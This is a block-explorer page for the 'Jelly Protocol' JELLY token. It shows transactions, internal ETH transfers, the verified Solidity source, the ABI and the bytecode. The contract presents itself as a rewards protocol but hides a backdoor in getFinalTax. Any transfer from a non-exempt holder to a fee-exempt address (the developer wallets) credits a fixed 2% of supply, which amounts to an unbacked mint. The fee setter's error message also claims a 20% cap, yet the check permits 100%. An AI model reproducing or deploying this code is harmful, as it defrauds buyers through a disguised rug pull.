ETH Price: $3,205.27 (-3.63%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve182576882023-10-01 19:11:11479 days ago1696187471IN
0xCE2c62E1...ad350293b
0 ETH0.000427959.19485871
Approve182576382023-10-01 19:01:11479 days ago1696186871IN
0xCE2c62E1...ad350293b
0 ETH0.00030146.47579328
Approve182576342023-10-01 19:00:23479 days ago1696186823IN
0xCE2c62E1...ad350293b
0 ETH0.000342457.35791403
Approve182576322023-10-01 18:59:59479 days ago1696186799IN
0xCE2c62E1...ad350293b
0 ETH0.000301096.511098
Approve182576282023-10-01 18:59:11479 days ago1696186751IN
0xCE2c62E1...ad350293b
0 ETH0.0005513111.83298863
Approve182576192023-10-01 18:57:23479 days ago1696186643IN
0xCE2c62E1...ad350293b
0 ETH0.000292796.28265996
Approve182576152023-10-01 18:56:35479 days ago1696186595IN
0xCE2c62E1...ad350293b
0 ETH0.000377678.11459935
Approve182576082023-10-01 18:55:11479 days ago1696186511IN
0xCE2c62E1...ad350293b
0 ETH0.000334577.18844247
Approve182575892023-10-01 18:51:23479 days ago1696186283IN
0xCE2c62E1...ad350293b
0 ETH0.000459859.86758658
Approve182575852023-10-01 18:50:35479 days ago1696186235IN
0xCE2c62E1...ad350293b
0 ETH0.000312376.75515744
Approve182575812023-10-01 18:49:47479 days ago1696186187IN
0xCE2c62E1...ad350293b
0 ETH0.000316156.82969224
Approve182575702023-10-01 18:47:35479 days ago1696186055IN
0xCE2c62E1...ad350293b
0 ETH0.000327147.0198034
Approve182575662023-10-01 18:46:47479 days ago1696186007IN
0xCE2c62E1...ad350293b
0 ETH0.000303186.55632174
Approve182575402023-10-01 18:41:35479 days ago1696185695IN
0xCE2c62E1...ad350293b
0 ETH0.000374068.0368803
Transfer182575142023-10-01 18:36:23479 days ago1696185383IN
0xCE2c62E1...ad350293b
0 ETH0.000647117.53497844
Approve182575052023-10-01 18:34:35479 days ago1696185275IN
0xCE2c62E1...ad350293b
0 ETH0.0004976810.67921003
Approve182575032023-10-01 18:34:11479 days ago1696185251IN
0xCE2c62E1...ad350293b
0 ETH0.000359427.76236102
Approve182574972023-10-01 18:32:59479 days ago1696185179IN
0xCE2c62E1...ad350293b
0 ETH0.000345647.42627624
Approve182574762023-10-01 18:28:47479 days ago1696184927IN
0xCE2c62E1...ad350293b
0 ETH0.00035927.76770583
Approve182574682023-10-01 18:27:11479 days ago1696184831IN
0xCE2c62E1...ad350293b
0 ETH0.000179097.38244948
Approve182574672023-10-01 18:26:59479 days ago1696184819IN
0xCE2c62E1...ad350293b
0 ETH0.000346037.4346958
Approve182574582023-10-01 18:25:11479 days ago1696184711IN
0xCE2c62E1...ad350293b
0 ETH0.000206867.01161197
Approve182574522023-10-01 18:23:59479 days ago1696184639IN
0xCE2c62E1...ad350293b
0 ETH0.000359937.77347209
Approve182574442023-10-01 18:22:23479 days ago1696184543IN
0xCE2c62E1...ad350293b
0 ETH0.000359327.72024557
Approve182574442023-10-01 18:22:23479 days ago1696184543IN
0xCE2c62E1...ad350293b
0 ETH0.000447759.62024557
View all transactions

Latest 22 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
182576882023-10-01 19:11:11479 days ago1696187471
0xCE2c62E1...ad350293b
0.15390709 ETH
182576882023-10-01 19:11:11479 days ago1696187471
0xCE2c62E1...ad350293b
0.15390709 ETH
182575002023-10-01 18:33:35479 days ago1696185215
0xCE2c62E1...ad350293b
0.20544893 ETH
182575002023-10-01 18:33:35479 days ago1696185215
0xCE2c62E1...ad350293b
0.20544893 ETH
182574672023-10-01 18:26:59479 days ago1696184819
0xCE2c62E1...ad350293b
0.14459987 ETH
182574672023-10-01 18:26:59479 days ago1696184819
0xCE2c62E1...ad350293b
0.14459987 ETH
182574602023-10-01 18:25:35479 days ago1696184735
0xCE2c62E1...ad350293b
0.18332575 ETH
182574602023-10-01 18:25:35479 days ago1696184735
0xCE2c62E1...ad350293b
0.18332575 ETH
182574422023-10-01 18:21:59479 days ago1696184519
0xCE2c62E1...ad350293b
0.14076227 ETH
182574422023-10-01 18:21:59479 days ago1696184519
0xCE2c62E1...ad350293b
0.14076227 ETH
182574352023-10-01 18:20:35479 days ago1696184435
0xCE2c62E1...ad350293b
0.16677091 ETH
182574352023-10-01 18:20:35479 days ago1696184435
0xCE2c62E1...ad350293b
0.16677091 ETH
182574302023-10-01 18:19:35479 days ago1696184375
0xCE2c62E1...ad350293b
0.18357564 ETH
182574302023-10-01 18:19:35479 days ago1696184375
0xCE2c62E1...ad350293b
0.18357564 ETH
182573932023-10-01 18:11:47479 days ago1696183907
0xCE2c62E1...ad350293b
0.15917573 ETH
182573932023-10-01 18:11:47479 days ago1696183907
0xCE2c62E1...ad350293b
0.15917573 ETH
182573892023-10-01 18:10:59479 days ago1696183859
0xCE2c62E1...ad350293b
0.21906125 ETH
182573892023-10-01 18:10:59479 days ago1696183859
0xCE2c62E1...ad350293b
0.21906125 ETH
182571732023-10-01 17:27:47479 days ago1696181267
0xCE2c62E1...ad350293b
0.08453044 ETH
182571732023-10-01 17:27:47479 days ago1696181267
0xCE2c62E1...ad350293b
0.08453044 ETH
182571732023-10-01 17:27:47479 days ago1696181267
0xCE2c62E1...ad350293b
0.09699079 ETH
182571732023-10-01 17:27:47479 days ago1696181267
0xCE2c62E1...ad350293b
0.09699079 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
JELLY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

// SPDX-License-Identifier: MIT

/*
A protocol for serving up and distributing token rewards. Permissionless Recipes to make your own Airdrops, Staking and Farming programs.

Website: https://www.jellyfi.org
App: https://app.jellyfi.org
Telegram: https://t.me/jelly_erc
Twitter: https://twitter.com/jelly_erc
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
contract JELLY is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Jelly Protocol";
    string private constant _symbol = unicode"JELLY";
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExemptFees;
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    bool private buyenabled = false;
    bool private swapEnabled = true;
    IRouter router;
    address public pair;
    uint256 private numTaxSwaps;
    bool private swapping;
    uint256 taxSwapInterval;
    uint256 private taxSwapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private swapTaxMinimum = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal developmentAddr = 0x93e5aE085B68a6621c474FF019A9786d1bC98cFa; 
    address internal teamAddr = 0x93e5aE085B68a6621c474FF019A9786d1bC98cFa;
    address internal lpAddr = 0x93e5aE085B68a6621c474FF019A9786d1bC98cFa;
    uint256 public mTxSize = ( _totalSupply * 200 ) / 10000;
    uint256 public mSellSz = ( _totalSupply * 200 ) / 10000;
    uint256 public mHold = ( _totalSupply * 200 ) / 10000;
    uint256 private totalFee = 1400;
    uint256 private sellFee = 2500;
    uint256 private transferFee = 1400;
    uint256 private denominator = 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isExemptFees[lpAddr] = true;
        isExemptFees[teamAddr] = true;
        isExemptFees[developmentAddr] = true;
        isExemptFees[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function getOwner() external view override returns (address) { return owner; }
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function startTrading() external onlyOwner {buyenabled = true;}
    function getFinalTax(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExemptFees[recipient]) {return mTxSize;}
        if(getTaxFees(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTaxFees(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTaxFees(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
    function swapBackCheck(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= swapTaxMinimum;
        bool aboveThreshold = balanceOf(address(this)) >= taxSwapThreshold;
        return !swapping && swapEnabled && buyenabled && aboveMin && !isExemptFees[sender] && recipient == pair && numTaxSwaps >= taxSwapInterval && aboveThreshold;
    }
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }
    function getTaxFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExemptFees[sender] && !isExemptFees[recipient]){require(buyenabled, "buyenabled");}
        if(!isExemptFees[sender] && !isExemptFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= mHold, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= mSellSz || isExemptFees[sender] || isExemptFees[recipient], "TX Limit Exceeded");}
        require(amount <= mTxSize || isExemptFees[sender] || isExemptFees[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isExemptFees[sender]){numTaxSwaps += uint256(1);}
        if(swapBackCheck(sender, recipient, amount)){doSwapBack(taxSwapThreshold); numTaxSwaps = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isExemptFees[sender] ? getFinalTax(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        mTxSize = newTx; mSellSz = newTransfer; mHold = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpAddr,
            block.timestamp);
    }
    function swapTokensToETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    function doSwapBack(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensToETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(teamAddr).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(developmentAddr).transfer(contractBalance);}
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExemptFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mSellSz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004ce565b6200002290633b9aca00620004e6565b60048190556005805461ffff1916610100179055620186a09062000049906103e8620004e6565b62000055919062000500565b600a55620186a0600454600a6200006d9190620004e6565b62000079919062000500565b600b556000600c819055600d8190556064600e55600f55601080547393e5ae085b68a6621c474ff019a9786d1bc98cfa6001600160a01b031991821681179092556011805482168317905560128054909116909117905560045461271090620000e49060c8620004e6565b620000f0919062000500565b60135561271060045460c8620001079190620004e6565b62000113919062000500565b60145561271060045460c86200012a9190620004e6565b62000136919062000500565b6015556105786016556109c46017556105786018556127106019553480156200015e57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000523565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000260919062000523565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d4919062000523565b6005805462010000600160b01b031916620100006001600160a01b038681169190910291909117909155600680546001600160a01b03191683831617905560125481166000908152600360209081526040808320805460ff1990811660019081179092556011548616855282852080548216831790556010549095168452818420805486168217905533808552828520805490961682179095556004549083528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200054e565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000410578160001904821115620003f457620003f4620003b9565b808516156200040257918102915b93841c9390800290620003d4565b509250929050565b6000826200042957506001620004c8565b816200043857506000620004c8565b81600181146200045157600281146200045c576200047c565b6001915050620004c8565b60ff841115620004705762000470620003b9565b50506001821b620004c8565b5060208310610133831016604e8410600b8410161715620004a1575081810a620004c8565b620004ad8383620003cf565b8060001904821115620004c457620004c4620003b9565b0290505b92915050565b6000620004df60ff84168362000418565b9392505050565b8082028115828204841417620004c857620004c8620003b9565b6000826200051e57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200053657600080fd5b81516001600160a01b0381168114620004df57600080fd5b6118d2806200055e6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461036b578063cb7f97d71461038b578063dd62ed3e146103ab578063e161bd1e146103f1578063f2fde38b14610407578063fcc78ef11461042757600080fd5b8063715018a6146102b6578063893d20e8146102cb57806395d89b41146102fd5780639cc353511461032b578063a8aa1b311461034b57600080fd5b8063293230b8116100f2578063293230b8146102085780632f54bf6e1461021f578063313ce5671461024e57806357b074e11461026a57806370a082311461028057600080fd5b806305a1d4351461013a57806306fdde0314610163578063095ea7b3146101a357806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015060145481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b5060408051808201909152600e81526d12995b1b1e48141c9bdd1bd8dbdb60921b60208201525b60405161015a919061156c565b3480156101af57600080fd5b506101c36101be3660046115d2565b610457565b604051901515815260200161015a565b3480156101df57600080fd5b5061015061046e565b3480156101f457600080fd5b506101c36102033660046115fe565b6104df565b34801561021457600080fd5b5061021d610549565b005b34801561022b57600080fd5b506101c361023a36600461163f565b6000546001600160a01b0391821691161490565b34801561025a57600080fd5b506040516009815260200161015a565b34801561027657600080fd5b5061015060135481565b34801561028c57600080fd5b5061015061029b36600461163f565b6001600160a01b031660009081526001602052604090205490565b3480156102c257600080fd5b5061021d61058b565b3480156102d757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561030957600080fd5b506040805180820190915260058152644a454c4c5960d81b6020820152610196565b34801561033757600080fd5b5061021d61034636600461165c565b6105fa565b34801561035757600080fd5b506006546102e5906001600160a01b031681565b34801561037757600080fd5b506101c36103863660046115d2565b61073b565b34801561039757600080fd5b5061021d6103a6366004611688565b610748565b3480156103b757600080fd5b506101506103c63660046116d4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103fd57600080fd5b5061015060155481565b34801561041357600080fd5b5061021d61042236600461163f565b61083f565b34801561043357600080fd5b506101c361044236600461163f565b60036020526000908152604090205460ff1681565b60006104643384846108bd565b5060015b92915050565b60016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461dead60009081527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5460045491926104da9290916104d491906109e1565b906109e1565b905090565b60006104ec8484846109ed565b61053e843361053985604051806060016040528060288152602001611875602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f34565b6108bd565b5060015b9392505050565b6000546001600160a01b0316331461057c5760405162461bcd60e51b81526004016105739061170d565b60405180910390fd5b6005805460ff19166001179055565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016105739061170d565b600061064761271061064186600454610f6090919063ffffffff16565b90610f6c565b9050600061066661271061064186600454610f6090919063ffffffff16565b9050600061068561271061064186600454610f6090919063ffffffff16565b601384905560148390556015819055905060006106b16103e861064160056106ab61046e565b90610f60565b90508084101580156106c35750808310155b80156106cf5750808210155b6107325760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610573565b50505050505050565b60006104643384846109ed565b6000546001600160a01b031633146107725760405162461bcd60e51b81526004016105739061170d565b600c879055600d869055600f859055600e8490556016839055601782905560188190556019546107a3906001610f6c565b601654111580156107c357506019546107bd906001610f6c565b60175411155b80156107de57506019546107d8906001610f6c565b60185411155b6107325760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610573565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661091f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610573565b6001600160a01b0382166109805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610573565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105428284611743565b6001600160a01b038316610a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610573565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610573565b6001600160a01b038316600090815260016020526040902054811115610b355760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610b7757506001600160a01b03821660009081526003602052604090205460ff16155b15610bbb5760055460ff16610bbb5760405162461bcd60e51b815260206004820152600a602482015269189d5e595b98589b195960b21b6044820152606401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610bfd57506001600160a01b03821660009081526003602052604090205460ff16155b8015610c1757506006546001600160a01b03838116911614155b8015610c2e57506001600160a01b03821661dead14155b15610ca7576015546001600160a01b038316600090815260016020526040902054610c599083610f78565b1115610ca75760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610573565b6006546001600160a01b03848116911614610d485760145481111580610ce557506001600160a01b03831660009081526003602052604090205460ff165b80610d0857506001600160a01b03821660009081526003602052604090205460ff165b610d485760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b60135481111580610d7157506001600160a01b03831660009081526003602052604090205460ff165b80610d9457506001600160a01b03821660009081526003602052604090205460ff165b610dd45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b6006546001600160a01b038381169116148015610e0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610e2857600160076000828254610e229190611756565b90915550505b610e33838383610f84565b15610e4957610e43600a54611035565b60006007555b6001600160a01b038316600090815260016020526040902054610e6c90826109e1565b6001600160a01b038416600090815260016020908152604080832093909355600390529081205460ff1615610ea15781610eac565b610eac8484846111b2565b6001600160a01b038416600090815260016020526040902054909150610ed29082610f78565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f269085815260200190565b60405180910390a350505050565b60008184841115610f585760405162461bcd60e51b8152600401610573919061156c565b505050900390565b60006105428284611769565b60006105428284611780565b60006105428284611756565b600b54600a543060009081526001602052604081205460085491938510159211159060ff16158015610fbd5750600554610100900460ff165b8015610fcb575060055460ff165b8015610fd45750815b8015610ff957506001600160a01b03861660009081526003602052604090205460ff16155b8015611012575060065460